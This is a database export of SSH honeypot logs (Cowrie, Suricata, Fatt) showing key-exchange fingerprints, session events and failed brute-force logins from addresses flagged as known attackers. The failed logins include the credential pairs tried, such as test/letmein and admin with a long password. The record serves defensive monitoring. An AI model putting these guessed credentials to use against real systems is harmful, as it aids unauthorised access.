\N	known attacker	\N
25202	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:30.354995+03	2021-09-20 14:15:09.800503+03	{"_id": "BwblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d941266a32aa", "@version": "1", "timestamp": "2021-09-20T11:09:30.354995Z", "@timestamp": "2021-09-20T11:09:30.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25203	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:30.317139+03	2021-09-20 14:15:09.802501+03	{"_id": "DwblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "684762ca9e73", "@version": "1", "duration": 6.921981334686279, "timestamp": "2021-09-20T11:09:30.317139Z", "@timestamp": "2021-09-20T11:09:30.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25204	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:29.6785+03	2021-09-20 14:15:09.8035+03	{"_id": "FAblAnwBvYTbRNuEjBg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1a63fe42fac6", "@version": "1", "duration": 2.411684036254883, "timestamp": "2021-09-20T11:09:29.678500Z", "@timestamp": "2021-09-20T11:09:29.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25205	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:29.867447+03	2021-09-20 14:15:09.805501+03	{"_id": "FQblAnwBvYTbRNuEjBg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [opc/opc] failed", "session": "524574b7b549", "@version": "1", "password": "opc", "username": "opc", "timestamp": "2021-09-20T11:09:29.867447Z", "@timestamp": "2021-09-20T11:09:29.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25206	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:30.117647+03	2021-09-20 14:15:09.8075+03	{"_id": "FgblAnwBvYTbRNuEjBg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d941266a32aa", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:30.117647Z", "@timestamp": "2021-09-20T11:09:30.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25207	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:30.354283+03	2021-09-20 14:15:09.8085+03	{"_id": "FwblAnwBvYTbRNuEjBg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/letmein] failed", "session": "4ff9d54567d7", "@version": "1", "password": "letmein", "username": "test", "timestamp": "2021-09-20T11:09:30.354283Z", "@timestamp": "2021-09-20T11:09:30.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25208	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:30.35475+03	2021-09-20 14:15:09.809503+03	{"_id": "GAblAnwBvYTbRNuEjhh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1303479287623984, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51924, "dest_port": 22, "timestamp": "2021-09-20T11:09:30.354750Z", "@timestamp": "2021-09-20T11:09:30.354Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25209	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:30.354806+03	2021-09-20 14:15:09.8105+03	{"_id": "GgblAnwBvYTbRNuEjxiJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51924, "timestamp": "2021-09-20T11:09:30.354806", "@timestamp": "2021-09-20T11:09:30.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25210	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:30.247983+03	2021-09-20 14:15:09.811487+03	{"_id": "HQblAnwBvYTbRNuEjxiK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50678, "timestamp": "2021-09-20T11:09:30.247983", "@timestamp": "2021-09-20T11:09:30.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25211	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:31.433434+03	2021-09-20 14:15:09.8135+03	{"_id": "MgblAnwBvYTbRNuEkhhm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 895659258087882, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42118, "dest_port": 22, "timestamp": "2021-09-20T11:09:31.433434Z", "@timestamp": "2021-09-20T11:09:31.433Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25212	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:31.679426+03	2021-09-20 14:15:09.814472+03	{"_id": "NQblAnwBvYTbRNuEkxhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33636, "timestamp": "2021-09-20T11:09:31.679426", "@timestamp": "2021-09-20T11:09:31.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25213	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:31.48044+03	2021-09-20 14:15:09.8155+03	{"_id": "OQblAnwBvYTbRNuEkxhx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42256, "timestamp": "2021-09-20T11:09:31.480440", "@timestamp": "2021-09-20T11:09:31.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25241	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:43.497693+03	2021-09-20 14:15:09.85447+03	{"_id": "UAblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/2008x2BJAOTOtJK1] failed", "session": "aea3bf48b099", "@version": "1", "password": "2008x2BJAOTOtJK1", "username": "admin", "timestamp": "2021-09-20T11:09:43.497693Z", "@timestamp": "2021-09-20T11:09:43.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25214	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:32.370835+03	2021-09-20 14:15:09.8165+03	{"_id": "VwblAnwBvYTbRNuElxhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48866, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.370835", "@timestamp": "2021-09-20T11:09:32.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
